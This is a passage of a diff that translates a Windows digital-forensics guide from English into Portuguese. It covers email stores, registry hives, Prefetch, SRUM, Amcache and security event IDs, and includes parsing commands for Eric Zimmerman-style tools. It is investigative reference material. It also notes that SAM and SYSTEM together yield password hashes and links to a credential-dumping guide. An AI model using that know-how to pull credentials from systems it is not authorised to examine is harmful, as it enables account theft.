+**Mude a extensão** do arquivo de `.vol` para `.edb` e você pode usar a ferramenta [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) para abri-lo. Dentro da tabela `Message`, você pode ver os emails.
 
 ### Microsoft Outlook
 
-When Exchange servers or Outlook clients are used there are going to be some MAPI headers:
+Quando servidores Exchange ou clientes Outlook são usados, haverá alguns cabeçalhos MAPI:
 
-- `Mapi-Client-Submit-Time`: Time of the system when the email was sent
-- `Mapi-Conversation-Index`: Number of children messages of the thread and timestamp of each message of the thread
-- `Mapi-Entry-ID`: Message identifier.
-- `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client (message read? no read? responded? redirected? out of the office?)
+- `Mapi-Client-Submit-Time`: Hora do sistema quando o email foi enviado
+- `Mapi-Conversation-Index`: Número de mensagens filhas do thread e timestamp de cada mensagem do thread
+- `Mapi-Entry-ID`: Identificador da mensagem.
+- `Mappi-Message-Flags` e `Pr_last_Verb-Executed`: Informações sobre o cliente MAPI (mensagem lida? não lida? respondida? redirecionada? fora do escritório?)
 
-In the Microsoft Outlook client, all the sent/received messages, contacts data, and calendar data are stored in a PST file in:
+No cliente Microsoft Outlook, todas as mensagens enviadas/recebidas, dados de contatos e dados de calendário são armazenados em um arquivo PST em:
 
 - `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
 - `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
 
-The registry path `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indicates the file that is being used.
+O caminho do registro `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indica o arquivo que está sendo usado.
 
-You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
+Você pode abrir o arquivo PST usando a ferramenta [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
 
 ![](<../../../images/image (498).png>)
 
-### Microsoft Outlook OST Files
+### Arquivos OST do Microsoft Outlook
 
-An **OST file** is generated by Microsoft Outlook when it's configured with **IMAP** or an **Exchange** server, storing similar information to a PST file. This file is synchronized with the server, retaining data for **the last 12 months** up to a **maximum size of 50GB**, and is located in the same directory as the PST file. To view an OST file, the [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) can be utilized.
+Um **arquivo OST** é gerado pelo Microsoft Outlook quando está configurado com **IMAP** ou um servidor **Exchange**, armazenando informações semelhantes a um arquivo PST. Este arquivo é sincronizado com o servidor, retendo dados por **12 meses** até um **tamanho máximo de 50GB**, e está localizado no mesmo diretório que o arquivo PST. Para visualizar um arquivo OST, o [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) pode ser utilizado.
 
-### Retrieving Attachments
+### Recuperando Anexos
 
-Lost attachments might be recoverable from:
+Anexos perdidos podem ser recuperáveis de:
 
-- For **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
-- For **IE11 and above**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
+- Para **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
+- Para **IE11 e acima**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
 
-### Thunderbird MBOX Files
+### Arquivos MBOX do Thunderbird
 
-**Thunderbird** utilizes **MBOX files** to store data, located at `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
+**Thunderbird** utiliza **arquivos MBOX** para armazenar dados, localizados em `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
 
-### Image Thumbnails
+### Miniaturas de Imagem
 
-- **Windows XP and 8-8.1**: Accessing a folder with thumbnails generates a `thumbs.db` file storing image previews, even after deletion.
-- **Windows 7/10**: `thumbs.db` is created when accessed over a network via UNC path.
-- **Windows Vista and newer**: Thumbnail previews are centralized in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` with files named **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) and [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) are tools for viewing these files.
+- **Windows XP e 8-8.1**: Acessar uma pasta com miniaturas gera um arquivo `thumbs.db` armazenando pré-visualizações de imagem, mesmo após a exclusão.
+- **Windows 7/10**: `thumbs.db` é criado quando acessado através de uma rede via caminho UNC.
+- **Windows Vista e versões mais recentes**: Pré-visualizações de miniaturas são centralizadas em `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` com arquivos nomeados **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) e [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) são ferramentas para visualizar esses arquivos.
 
-### Windows Registry Information
+### Informações do Registro do Windows
 
-The Windows Registry, storing extensive system and user activity data, is contained within files in:
+O Registro do Windows, armazenando extensos dados de atividade do sistema e do usuário, está contido em arquivos em:
 
-- `%windir%\System32\Config` for various `HKEY_LOCAL_MACHINE` subkeys.
-- `%UserProfile%{User}\NTUSER.DAT` for `HKEY_CURRENT_USER`.
-- Windows Vista and later versions back up `HKEY_LOCAL_MACHINE` registry files in `%Windir%\System32\Config\RegBack\`.
-- Additionally, program execution information is stored in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` from Windows Vista and Windows 2008 Server onwards.
+- `%windir%\System32\Config` para várias subchaves de `HKEY_LOCAL_MACHINE`.
+- `%UserProfile%{User}\NTUSER.DAT` para `HKEY_CURRENT_USER`.
+- Windows Vista e versões posteriores fazem backup dos arquivos de registro de `HKEY_LOCAL_MACHINE` em `%Windir%\System32\Config\RegBack\`.
+- Além disso, informações sobre a execução de programas são armazenadas em `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` a partir do Windows Vista e Windows 2008 Server.
 
-### Tools
+### Ferramentas
 
-Some tools are useful to analyze the registry files:
+Algumas ferramentas são úteis para analisar os arquivos de registro:
 
-- **Registry Editor**: It's installed in Windows. It's a GUI to navigate through the Windows registry of the current session.
-- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): It allows you to load the registry file and navigate through them with a GUI. It also contains Bookmarks highlighting keys with interesting information.
-- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry.
-- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded.
+- **Editor do Registro**: Está instalado no Windows. É uma GUI para navegar pelo registro do Windows da sessão atual.
+- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Permite carregar o arquivo de registro e navegar por ele com uma GUI. Também contém Favoritos destacando chaves com informações interessantes.
+- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Novamente, possui uma GUI que permite navegar pelo registro carregado e também contém plugins que destacam informações interessantes dentro do registro carregado.
+- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Outro aplicativo GUI capaz de extrair informações importantes do registro carregado.
 
-### Recovering Deleted Element
+### Recuperando Elemento Excluído
 
-When a key is deleted it's marked as such, but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys.
+Quando uma chave é excluída, ela é marcada como tal, mas até que o espaço que ocupa seja necessário, não será removida. Portanto, usando ferramentas como **Registry Explorer**, é possível recuperar essas chaves excluídas.
 
-### Last Write Time
+### Último Tempo de Escrita
 
-Each Key-Value contains a **timestamp** indicating the last time it was modified.
+Cada Par Chave-Valor contém um **timestamp** indicando a última vez que foi modificado.
 
 ### SAM
 
-The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system.
+O arquivo/hive **SAM** contém os **usuários, grupos e hashes de senhas dos usuários** do sistema.
 
-In `SAM\Domains\Account\Users` you can obtain the username, the RID, last login, last failed logon, login counter, password policy and when the account was created. To get the **hashes** you also **need** the file/hive **SYSTEM**.
+Em `SAM\Domains\Account\Users`, você pode obter o nome de usuário, o RID, o último login, o último logon falhado, o contador de logins, a política de senhas e quando a conta foi criada. Para obter os **hashes**, você também **precisa** do arquivo/hive **SYSTEM**.
 
-### Interesting entries in the Windows Registry
+### Entradas Interessantes no Registro do Windows
 
 {{#ref}}
 interesting-windows-registry-keys.md
 {{#endref}}
 
-## Programs Executed
+## Programas Executados
 
-### Basic Windows Processes
+### Processos Básicos do Windows
 
-In [this post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) you can learn about the common Windows processes to detect suspicious behaviours.
+Neste [post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d), você pode aprender sobre os processos comuns do Windows para detectar comportamentos suspeitos.
 
-### Windows Recent APPs
+### Aplicativos Recentes do Windows
 
-Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched.
+Dentro do registro `NTUSER.DAT` no caminho `Software\Microsoft\Current Version\Search\RecentApps`, você pode encontrar subchaves com informações sobre o **aplicativo executado**, **última vez** que foi executado e **número de vezes** que foi iniciado.
 
-### BAM (Background Activity Moderator)
+### BAM (Moderador de Atividade em Segundo Plano)
 
-You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry).
+Você pode abrir o arquivo `SYSTEM` com um editor de registro e dentro do caminho `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` você pode encontrar informações sobre os **aplicativos executados por cada usuário** (note o `{SID}` no caminho) e **a que horas** foram executados (a hora está dentro do valor de Dados do registro).
 
-### Windows Prefetch
+### Prefetch do Windows
 
-Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed quicker.
+Prefetching é uma técnica que permite que um computador **busque silenciosamente os recursos necessários para exibir conteúdo** que um usuário **pode acessar em um futuro próximo**, para que os recursos possam ser acessados mais rapidamente.
 
-Windows prefetch consists of creating **caches of the executed programs** to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`. There is a limit of 128 files in XP/VISTA/WIN7 and 1024 files in Win8/Win10.
+O prefetch do Windows consiste em criar **caches dos programas executados** para poder carregá-los mais rapidamente. Esses caches são criados como arquivos `.pf` dentro do caminho: `C:\Windows\Prefetch`. Há um limite de 128 arquivos no XP/VISTA/WIN7 e 1024 arquivos no Win8/Win10.
 
-The file name is created as `{program_name}-{hash}.pf` (the hash is based on the path and arguments of the executable). In W10 these files are compressed. Do note that the sole presence of the file indicates that **the program was executed** at some point.
+O nome do arquivo é criado como `{program_name}-{hash}.pf` (o hash é baseado no caminho e argumentos do executável). No W10, esses arquivos são comprimidos. Observe que a mera presença do arquivo indica que **o programa foi executado** em algum momento.
 
-The file `C:\Windows\Prefetch\Layout.ini` contains the **names of the folders of the files that are prefetched**. This file contains **information about the number of the executions**, **dates** of the execution and **files** **open** by the program.
-
-To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
+O arquivo `C:\Windows\Prefetch\Layout.ini` contém os **nomes das pastas dos arquivos que são pré-carregados**. Este arquivo contém **informações sobre o número de execuções**, **datas** da execução e **arquivos** **abertos** pelo programa.
 
+Para inspecionar esses arquivos, você pode usar a ferramenta [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
 ```bash
 .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
 ```
-
 ![](<../../../images/image (315).png>)
 
-### Superprefetch
+### Superfetch
 
-**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\
-This service will generate database files in `C:\Windows\Prefetch\Ag*.db`.
+**Superfetch** tem o mesmo objetivo que o prefetch, **carregar programas mais rápido** prevendo o que será carregado a seguir. No entanto, não substitui o serviço de prefetch.\
+Este serviço gerará arquivos de banco de dados em `C:\Windows\Prefetch\Ag*.db`.
 
-In these databases you can find the **name** of the **program**, **number** of **executions**, **files** **opened**, **volume** **accessed**, **complete** **path**, **timeframes** and **timestamps**.
+Nestes bancos de dados, você pode encontrar o **nome** do **programa**, **número** de **execuções**, **arquivos** **abertos**, **volume** **acessado**, **caminho** **completo**, **períodos** e **timestamps**.
 
-You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
+Você pode acessar essas informações usando a ferramenta [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
 
 ### SRUM
 
-**System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data in an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`.
+**System Resource Usage Monitor** (SRUM) **monitora** os **recursos** **consumidos** **por um processo**. Apareceu no W8 e armazena os dados em um banco de dados ESE localizado em `C:\Windows\System32\sru\SRUDB.dat`.
 
-It gives the following information:
+Ele fornece as seguintes informações:
 
-- AppID and Path
-- User that executed the process
-- Sent Bytes
-- Received Bytes
-- Network Interface
-- Connection duration
-- Process duration
+- AppID e Caminho
+- Usuário que executou o processo
+- Bytes Enviados
+- Bytes Recebidos
+- Interface de Rede
+- Duração da Conexão
+- Duração do Processo
 
-This information is updated every 60 mins.
-
-You can obtain the date from this file using the tool [**srum_dump**](https://github.com/MarkBaggett/srum-dump).
+Essas informações são atualizadas a cada 60 minutos.
 
+Você pode obter a data deste arquivo usando a ferramenta [**srum_dump**](https://github.com/MarkBaggett/srum-dump).
 ```bash
 .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
 ```
-
 ### AppCompatCache (ShimCache)
 
-The **AppCompatCache**, also known as **ShimCache**, forms a part of the **Application Compatibility Database** developed by **Microsoft** to tackle application compatibility issues. This system component records various pieces of file metadata, which include:
+O **AppCompatCache**, também conhecido como **ShimCache**, faz parte do **Application Compatibility Database** desenvolvido pela **Microsoft** para lidar com problemas de compatibilidade de aplicativos. Este componente do sistema registra várias peças de metadados de arquivos, que incluem:
 
-- Full path of the file
-- Size of the file
-- Last Modified time under **$Standard_Information** (SI)
-- Last Updated time of the ShimCache
-- Process Execution Flag
+- Caminho completo do arquivo
+- Tamanho do arquivo
+- Hora da Última Modificação sob **$Standard_Information** (SI)
+- Hora da Última Atualização do ShimCache
+- Sinalizador de Execução do Processo
 
-Such data is stored within the registry at specific locations based on the version of the operating system:
+Esses dados são armazenados no registro em locais específicos com base na versão do sistema operacional:
 
-- For XP, the data is stored under `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` with a capacity for 96 entries.
-- For Server 2003, as well as for Windows versions 2008, 2012, 2016, 7, 8, and 10, the storage path is `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, accommodating 512 and 1024 entries, respectively.
+- Para XP, os dados são armazenados em `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` com capacidade para 96 entradas.
+- Para Server 2003, bem como para as versões do Windows 2008, 2012, 2016, 7, 8 e 10, o caminho de armazenamento é `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, acomodando 512 e 1024 entradas, respectivamente.
 
-To parse the stored information, the [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) is recommended for use.
+Para analisar as informações armazenadas, a ferramenta [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser) é recomendada para uso.
 
 ![](<../../../images/image (75).png>)
 
 ### Amcache
 
-The **Amcache.hve** file is essentially a registry hive that logs details about applications that have been executed on a system. It is typically found at `C:\Windows\AppCompat\Programas\Amcache.hve`.
+O arquivo **Amcache.hve** é essencialmente um hive de registro que registra detalhes sobre aplicativos que foram executados em um sistema. Ele é tipicamente encontrado em `C:\Windows\AppCompat\Programas\Amcache.hve`.
 
-This file is notable for storing records of recently executed processes, including the paths to the executable files and their SHA1 hashes. This information is invaluable for tracking the activity of applications on a system.
-
-To extract and analyze the data from **Amcache.hve**, the [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool can be used. The following command is an example of how to use AmcacheParser to parse the contents of the **Amcache.hve** file and output the results in CSV format:
+Este arquivo é notável por armazenar registros de processos executados recentemente, incluindo os caminhos para os arquivos executáveis e seus hashes SHA1. Essas informações são inestimáveis para rastrear a atividade de aplicativos em um sistema.
 
+Para extrair e analisar os dados do **Amcache.hve**, a ferramenta [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) pode ser usada. O seguinte comando é um exemplo de como usar o AmcacheParser para analisar o conteúdo do arquivo **Amcache.hve** e gerar os resultados em formato CSV:
 ```bash
 AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
 ```
+Entre os arquivos CSV gerados, o `Amcache_Unassociated file entries` é particularmente notável devido às ricas informações que fornece sobre entradas de arquivos não associadas.
 
-Among the generated CSV files, the `Amcache_Unassociated file entries` is particularly noteworthy due to the rich information it provides about unassociated file entries.
-
-The most interesting CVS file generated is the `Amcache_Unassociated file entries`.
+O arquivo CVS mais interessante gerado é o `Amcache_Unassociated file entries`.
 
 ### RecentFileCache
 
-This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries.
+Este artefato só pode ser encontrado no W7 em `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` e contém informações sobre a execução recente de alguns binários.
 
-You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file.
+Você pode usar a ferramenta [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) para analisar o arquivo.
 
-### Scheduled tasks
+### Tarefas agendadas
 
-You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML.
+Você pode extraí-las de `C:\Windows\Tasks` ou `C:\Windows\System32\Tasks` e lê-las como XML.
 
-### Services
+### Serviços
 
-You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when.
+Você pode encontrá-los no registro em `SYSTEM\ControlSet001\Services`. Você pode ver o que será executado e quando.
 
 ### **Windows Store**
 
-The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\
-This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**.
+Os aplicativos instalados podem ser encontrados em `\ProgramData\Microsoft\Windows\AppRepository\`\
+Este repositório possui um **log** com **cada aplicativo instalado** no sistema dentro do banco de dados **`StateRepository-Machine.srd`**.
 
-Inside the Application table of this database, it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". These columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential.
+Dentro da tabela de Aplicativos deste banco de dados, é possível encontrar as colunas: "Application ID", "PackageNumber" e "Display Name". Essas colunas têm informações sobre aplicativos pré-instalados e instalados e pode-se verificar se alguns aplicativos foram desinstalados, pois os IDs dos aplicativos instalados devem ser sequenciais.
 
-It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
-And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
+É também possível **encontrar aplicativos instalados** dentro do caminho do registro: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
+E **aplicativos desinstalados** em: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
 
-## Windows Events
+## Eventos do Windows
 
-Information that appears inside Windows events are:
+As informações que aparecem nos eventos do Windows são:
 
-- What happened
+- O que aconteceu
 - Timestamp (UTC + 0)
-- Users involved
-- Hosts involved (hostname, IP)
-- Assets accessed (files, folder, printer, services)
+- Usuários envolvidos
+- Hosts envolvidos (nome do host, IP)
+- Ativos acessados (arquivos, pastas, impressoras, serviços)
 
-The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. Before Windows Vista, the event logs were in binary format and after it, they are in **XML format** and use the **.evtx** extension.
+Os logs estão localizados em `C:\Windows\System32\config` antes do Windows Vista e em `C:\Windows\System32\winevt\Logs` após o Windows Vista. Antes do Windows Vista, os logs de eventos estavam em formato binário e, após, estão em **formato XML** e usam a extensão **.evtx**.
 
-The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
+A localização dos arquivos de eventos pode ser encontrada no registro do SYSTEM em **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
 
-They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
+Eles podem ser visualizados a partir do Visualizador de Eventos do Windows (**`eventvwr.msc`**) ou com outras ferramentas como [**Event Log Explorer**](https://eventlogxp.com) **ou** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
 
-## Understanding Windows Security Event Logging
+## Compreendendo o Registro de Eventos de Segurança do Windows
 
-Access events are recorded in the security configuration file located at `C:\Windows\System32\winevt\Security.evtx`. This file's size is adjustable, and when its capacity is reached, older events are overwritten. Recorded events include user logins and logoffs, user actions, and changes to security settings, as well as file, folder, and shared asset access.
+Eventos de acesso são registrados no arquivo de configuração de segurança localizado em `C:\Windows\System32\winevt\Security.evtx`. O tamanho deste arquivo é ajustável e, quando sua capacidade é atingida, eventos mais antigos são sobrescritos. Eventos registrados incluem logins e logoffs de usuários, ações de usuários e alterações nas configurações de segurança, bem como acesso a arquivos, pastas e ativos compartilhados.
 
-### Key Event IDs for User Authentication:
+### IDs de Evento Chave para Autenticação de Usuário:
 
-- **EventID 4624**: Indicates a user successfully authenticated.
-- **EventID 4625**: Signals an authentication failure.
-- **EventIDs 4634/4647**: Represent user logoff events.
-- **EventID 4672**: Denotes login with administrative privileges.
+- **EventID 4624**: Indica que um usuário se autenticou com sucesso.
+- **EventID 4625**: Sinaliza uma falha de autenticação.
+- **EventIDs 4634/4647**: Representam eventos de logoff de usuário.
+- **EventID 4672**: Denota login com privilégios administrativos.
 
-#### Sub-types within EventID 4634/4647:
+#### Subtipos dentro do EventID 4634/4647:
 
-- **Interactive (2)**: Direct user login.
-- **Network (3)**: Access to shared folders.
-- **Batch (4)**: Execution of batch processes.
-- **Service (5)**: Service launches.
-- **Proxy (6)**: Proxy authentication.
-- **Unlock (7)**: Screen unlocked with a password.
-- **Network Cleartext (8)**: Clear text password transmission, often from IIS.
-- **New Credentials (9)**: Usage of different credentials for access.
-- **Remote Interactive (10)**: Remote desktop or terminal services login.
-- **Cache Interactive (11)**: Login with cached credentials without domain controller contact.
-- **Cache Remote Interactive (12)**: Remote login with cached credentials.
-- **Cached Unlock (13)**: Unlocking with cached credentials.
+- **Interativo (2)**: Login direto do usuário.
+- **Rede (3)**: Acesso a pastas compartilhadas.
+- **Batch (4)**: Execução de processos em lote.
+- **Serviço (5)**: Lançamentos de serviços.
+- **Proxy (6)**: Autenticação proxy.
+- **Desbloquear (7)**: Tela desbloqueada com uma senha.
+- **Texto Claro da Rede (8)**: Transmissão de senha em texto claro, muitas vezes do IIS.
+- **Novas Credenciais (9)**: Uso de credenciais diferentes para acesso.
+- **Interativo Remoto (10)**: Login em serviços de desktop remoto ou terminal.
+- **Cache Interativo (11)**: Login com credenciais em cache sem contato com o controlador de domínio.
+- **Cache Interativo Remoto (12)**: Login remoto com credenciais em cache.
+- **Desbloqueio em Cache (13)**: Desbloqueio com credenciais em cache.
 
-#### Status and Sub Status Codes for EventID 4625:
+#### Códigos de Status e Substatus para EventID 4625:
 
-- **0xC0000064**: User name does not exist - Could indicate a username enumeration attack.
-- **0xC000006A**: Correct user name but wrong password - Possible password guessing or brute-force attempt.
-- **0xC0000234**: User account locked out - May follow a brute-force attack resulting in multiple failed logins.
-- **0xC0000072**: Account disabled - Unauthorized attempts to access disabled accounts.
-- **0xC000006F**: Logon outside allowed time - Indicates attempts to access outside of set login hours, a possible sign of unauthorized access.
-- **0xC0000070**: Violation of workstation restrictions - Could be an attempt to login from an unauthorized location.
-- **0xC0000193**: Account expiration - Access attempts with expired user accounts.
-- **0xC0000071**: Expired password - Login attempts with outdated passwords.
-- **0xC0000133**: Time sync issues - Large time discrepancies between client and server may be indicative of more sophisticated attacks like pass-the-ticket.
-- **0xC0000224**: Mandatory password change required - Frequent mandatory changes might suggest an attempt to destabilize account security.
-- **0xC0000225**: Indicates a system bug rather than a security issue.
-- **0xC000015b**: Denied logon type - Access attempt with unauthorized logon type, such as a user trying to execute a service logon.
+- **0xC0000064**: Nome de usuário não existe - Pode indicar um ataque de enumeração de nome de usuário.
+- **0xC000006A**: Nome de usuário correto, mas senha errada - Possível tentativa de adivinhação de senha ou força bruta.
+- **0xC0000234**: Conta de usuário bloqueada - Pode seguir um ataque de força bruta resultando em múltiplos logins falhados.
+- **0xC0000072**: Conta desativada - Tentativas não autorizadas de acessar contas desativadas.
+- **0xC000006F**: Logon fora do horário permitido - Indica tentativas de acesso fora do horário de login definido, um possível sinal de acesso não autorizado.
+- **0xC0000070**: Violação das restrições de estação de trabalho - Pode ser uma tentativa de login de um local não autorizado.
+- **0xC0000193**: Expiração da conta - Tentativas de acesso com contas de usuário expiradas.
+- **0xC0000071**: Senha expirada - Tentativas de login com senhas desatualizadas.
+- **0xC0000133**: Problemas de sincronização de tempo - Grandes discrepâncias de tempo entre cliente e servidor podem indicar ataques mais sofisticados, como pass-the-ticket.
+- **0xC0000224**: Mudança obrigatória de senha necessária - Mudanças obrigatórias frequentes podem sugerir uma tentativa de desestabilizar a segurança da conta.
+- **0xC0000225**: Indica um bug do sistema em vez de um problema de segurança.
+- **0xC000015b**: Tipo de logon negado - Tentativa de acesso com tipo de logon não autorizado, como um usuário tentando executar um logon de serviço.
 
 #### EventID 4616:
 
-- **Time Change**: Modification of the system time, could obscure the timeline of events.
+- **Mudança de Hora**: Modificação do horário do sistema, pode obscurecer a linha do tempo dos eventos.
 
-#### EventID 6005 and 6006:
+#### EventID 6005 e 6006:
 
-- **System Startup and Shutdown**: EventID 6005 indicates the system starting up, while EventID 6006 marks it shutting down.
+- **Inicialização e Desligamento do Sistema**: O EventID 6005 indica que o sistema está iniciando, enquanto o EventID 6006 marca seu desligamento.
 
 #### EventID 1102:
 
-- **Log Deletion**: Security logs being cleared, which is often a red flag for covering up illicit activities.
+- **Exclusão de Log**: Logs de segurança sendo limpos, o que é frequentemente um sinal de alerta para encobrir atividades ilícitas.
 
-#### EventIDs for USB Device Tracking:
+#### EventIDs para Rastreamento de Dispositivos USB:
 
-- **20001 / 20003 / 10000**: USB device first connection.
-- **10100**: USB driver update.
-- **EventID 112**: Time of USB device insertion.
+- **20001 / 20003 / 10000**: Primeira conexão do dispositivo USB.
+- **10100**: Atualização do driver USB.
+- **EventID 112**: Hora da inserção do dispositivo USB.
 
-For practical examples on simulating these login types and credential dumping opportunities, refer to [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
+Para exemplos práticos sobre como simular esses tipos de login e oportunidades de despejo de credenciais, consulte o [guia detalhado da Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
 
-Event details, including status and sub-status codes, provide further insights into event causes, particularly notable in Event ID 4625.
+Os detalhes do evento, incluindo códigos de status e substatus, fornecem mais insights sobre as causas dos eventos, particularmente notáveis no Event ID 4625.
 
-### Recovering Windows Events
+### Recuperando Eventos do Windows
 
-To enhance the chances of recovering deleted Windows Events, it's advisable to power down the suspect computer by directly unplugging it. **Bulk_extractor**, a recovery tool specifying the `.evtx` extension, is recommended for attempting to recover such events.
+Para aumentar as chances de recuperar Eventos do Windows excluídos, é aconselhável desligar o computador suspeito desconectando-o diretamente. **Bulk_extractor**, uma ferramenta de recuperação que especifica a extensão `.evtx`, é recomendada para tentar recuperar tais eventos.
 
-### Identifying Common Attacks via Windows Events
+### Identificando Ataques Comuns via Eventos do Windows
 
-For a comprehensive guide on utilizing Windows Event IDs in identifying common cyber attacks, visit [Red Team Recipe](https://redteamrecipe.com/event-codes/).
+Para um guia abrangente sobre como utilizar os IDs de Evento do Windows na identificação de ataques cibernéticos comuns, visite [Red Team Recipe](https://redteamrecipe.com/event-codes/).
 
-#### Brute Force Attacks
+#### Ataques de Força Bruta
 
-Identifiable by multiple EventID 4625 records, followed by an EventID 4624 if the attack succeeds.
+Identificáveis por múltiplos registros de EventID 4625, seguidos por um EventID 4624 se o ataque for bem-sucedido.
 
-#### Time Change
+#### Mudança de Hora
 
-Recorded by EventID 4616, changes to system time can complicate forensic analysis.
+Registrada pelo EventID 4616, mudanças no horário do sistema podem complicar a análise forense.
 
-#### USB Device Tracking
+#### Rastreamento de Dispositivos USB
 
-Useful System EventIDs for USB device tracking include 20001/20003/10000 for initial use, 10100 for driver updates, and EventID 112 from DeviceSetupManager for insertion timestamps.
+IDs de Evento do Sistema úteis para rastreamento de dispositivos USB incluem 20001/20003/10000 para uso inicial, 10100 para atualizações de driver e EventID 112 do DeviceSetupManager para timestamps de inserção.
 
-#### System Power Events
+#### Eventos de Energia do Sistema
 
-EventID 6005 indicates system startup, while EventID 6006 marks shutdown.
+EventID 6005 indica inicialização do sistema, enquanto EventID 6006 marca o desligamento.
 
-#### Log Deletion
+#### Exclusão de Log
